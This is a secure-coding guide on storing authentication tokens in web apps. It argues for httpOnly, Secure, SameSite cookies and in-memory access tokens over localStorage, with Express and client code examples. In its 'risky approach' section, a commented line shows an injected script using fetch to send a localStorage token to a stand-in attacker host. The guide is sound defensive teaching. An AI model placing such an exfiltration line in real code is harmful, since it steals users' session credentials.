Secure Token Storage
Problem
A developer ships a login flow, the server returns a JWT, and the obvious place to put it is localStorage.setItem('token', jwt). It works, it survives page reloads, and every request can grab it with localStorage.getItem('token'). Done.
The trouble is that anything stored in localStorage or sessionStorage is readable by any JavaScript running on the page. That includes a malicious script injected through an XSS vulnerability, a compromised third-party analytics or ad tag, or a sketchy browser extension. The moment one of those runs, localStorage.getItem('token') hands it your user’s credentials, and it can ship them off to an attacker’s server in a single line of code.
Once that token leaves the browser, the damage is hard to contain. An attacker holding a valid token can impersonate the user, call protected APIs, and keep that access alive long after the user has closed the tab, all while the user has no idea anything happened. Web storage offers no defense here: there is no permission check, no origin barrier beyond the page itself, and no way to mark a value as off-limits to scripts. If your authentication strategy is “just store the JWT in localStorage,” then your entire session security depends on never having a single XSS bug or a single untrustworthy script on the page, which is not a bet you can win over time.
Solution
The core idea is to put tokens somewhere JavaScript cannot read them. For session and refresh tokens, that means an httpOnly cookie: a cookie the browser stores and sends automatically but refuses to expose to document.cookie or any script. Even if an attacker injects JavaScript into your page, it cannot read an httpOnly cookie, so it has nothing to exfiltrate. The token lives in the browser’s cookie jar, visible only to the browser itself.
Harden the cookie with two more attributes for defense in depth. Secure ensures the cookie is only ever sent over HTTPS, so it never leaks across an unencrypted connection. SameSite (Strict or Lax) controls whether the cookie rides along on cross-site requests, which blocks the most common form of CSRF. Because httpOnly cookies are sent automatically with every request to your origin, an attacker can still try to trick a logged-in user’s browser into making a request, so you must pair this approach with CSRF protection. The cookie protects against token theft; CSRF defenses protect against forged requests using that cookie.
Only the server can set an httpOnly cookie, so this pattern requires server cooperation. The flow is: the server sets the cookie on successful login, the browser attaches it to every subsequent request, and the server reads it from the request headers to authenticate. The token never passes through JavaScript at any point.
For single-page apps that need an access token in JavaScript (for example, to send as an Authorization header to an API), use the in-memory access token plus httpOnly refresh cookie pattern. Keep a short-lived access token in a plain variable in memory, never in web storage. Store the long-lived refresh token in an httpOnly cookie. When the access token expires or the page reloads (wiping memory), call a refresh endpoint; the browser sends the refresh cookie automatically, and the server issues a fresh access token. An XSS attack can read the in-memory access token, but only for the few minutes it is valid, and it can never reach the refresh token that would let it mint new ones. The rule that ties this all together: never persist long-lived secrets in web storage.
Example
These examples move from the risky baseline to the two pieces of the recommended setup: setting an httpOnly cookie on the server and holding an access token in memory on the client.
The risky approach
This is the pattern to avoid. Any script on the page can read it.
// DON'T DO THIS. localStorage is readable by any JavaScript on the page,
// so a single XSS bug or compromised third-party script can steal the token.
localStorage.setItem('token', jwt);
// An injected attacker script needs just one line:
// fetch('https://evil.example/steal?t=' + localStorage.getItem('token'));
Setting an httpOnly cookie from the server
Only the server can create an httpOnly cookie. Here is an Express handler issuing one on login.
// Express route handler
app.post('/login', async (req, res) => {
const user = await authenticate(req.body.email, req.body.password);
const token = signSessionToken(user);
res.cookie('session', token, {
httpOnly: true, // invisible to JavaScript, so XSS cannot read it
secure: true, // only sent over HTTPS
sameSite: 'strict', // not sent on cross-site requests (CSRF defense)
maxAge: 1000 * 60 * 60, // expires in 1 hour
path: '/',
});
res.json({ ok: true });
});
// On later requests the browser sends the cookie automatically.
// The server reads it from req.cookies.session to authenticate.
Keeping the access token in memory
For SPAs that call an API with an Authorization header, hold the access token in a closure variable and silently refresh it using the httpOnly cookie. Nothing long-lived is ever written to web storage.
// auth.js — the access token lives only in this closure variable,
// never in localStorage or sessionStorage.
let accessToken = null;
export function setAccessToken(token) {
accessToken = token;
}
// Ask the server for a new access token. The httpOnly refresh cookie
// is sent automatically because of `credentials: 'include'`.
export async function refreshAccessToken() {
const res = await fetch('/api/refresh', {
method: 'POST',
credentials: 'include',
});
if (!res.ok) throw new Error('Session expired');
const { token } = await res.json();
accessToken = token;
return token;
}
// A fetch wrapper that attaches the in-memory token and refreshes once on 401.
export async function authedFetch(url, options = {}) {
if (!accessToken) await refreshAccessToken();
let res = await fetch(url, {
...options,
headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
});
if (res.status === 401) {
await refreshAccessToken();
res = await fetch(url, {
...options,
headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
});
}
return res;
}
Benefits
- httpOnly cookies are invisible to JavaScript, so an XSS attack has no way to read the token straight out of storage.
- Session and refresh tokens are sent automatically by the browser, so you never write code that reads, attaches, or persists them by hand.
- Adding
Securekeeps tokens off unencrypted connections, andSameSiteblocks the most common CSRF vector with a single attribute. - The in-memory access token pattern limits the blast radius of any XSS to a short-lived credential rather than a long-lived secret.
- The refresh token in an httpOnly cookie can never be reached by injected scripts, so an attacker cannot mint fresh access tokens.
- Reloading the page wipes the in-memory token, which means a stolen browser session does not leave a usable token lying around in storage.
- The approach maps cleanly onto standard server frameworks; setting a cookie with the right flags is a few lines of configuration.
Tradeoffs
- httpOnly cookies can only be set by the server, so you need control over the backend and an authentication endpoint that issues them. Pure static front ends cannot do this alone.
- Because cookies are sent automatically with every request, you must add CSRF protection (SameSite plus tokens or double-submit cookies); the cookie approach solves theft, not request forgery.
- The in-memory access token is lost on every page reload, so you must build and maintain a silent refresh flow, which is more moving parts than a single
localStorage.getItem. - Local development gets harder:
Securecookies need HTTPS, and you cannot inspect or tweak the token in the console the way you can with web storage, so debugging takes more effort. - Cookies have a practical size limit (around 4KB per cookie), so large tokens or many claims can overflow it and break requests in confusing ways.
- Cross-domain APIs complicate cookies. If your API lives on a different site from your front end, you need
SameSite=None; Secure, correct CORS with credentials, and careful origin configuration, which is easy to get subtly wrong. - Native mobile clients and non-browser consumers do not get automatic cookie handling, so a cookie-only strategy may force a separate token flow for those platforms.
- The access token still lives in JavaScript while in memory, so XSS prevention (output encoding, CSP, trusted dependencies) remains essential; this pattern reduces the damage of XSS but does not replace defending against it.
Summary
Never store long-lived authentication tokens in localStorage or sessionStorage, where any script on the page can read them. Keep session and refresh tokens in httpOnly cookies with the Secure and SameSite flags so they stay invisible to JavaScript and protected in transit, and for SPAs hold a short-lived access token in memory while refreshing it through the cookie. Because cookies are sent automatically, always pair this approach with CSRF protection.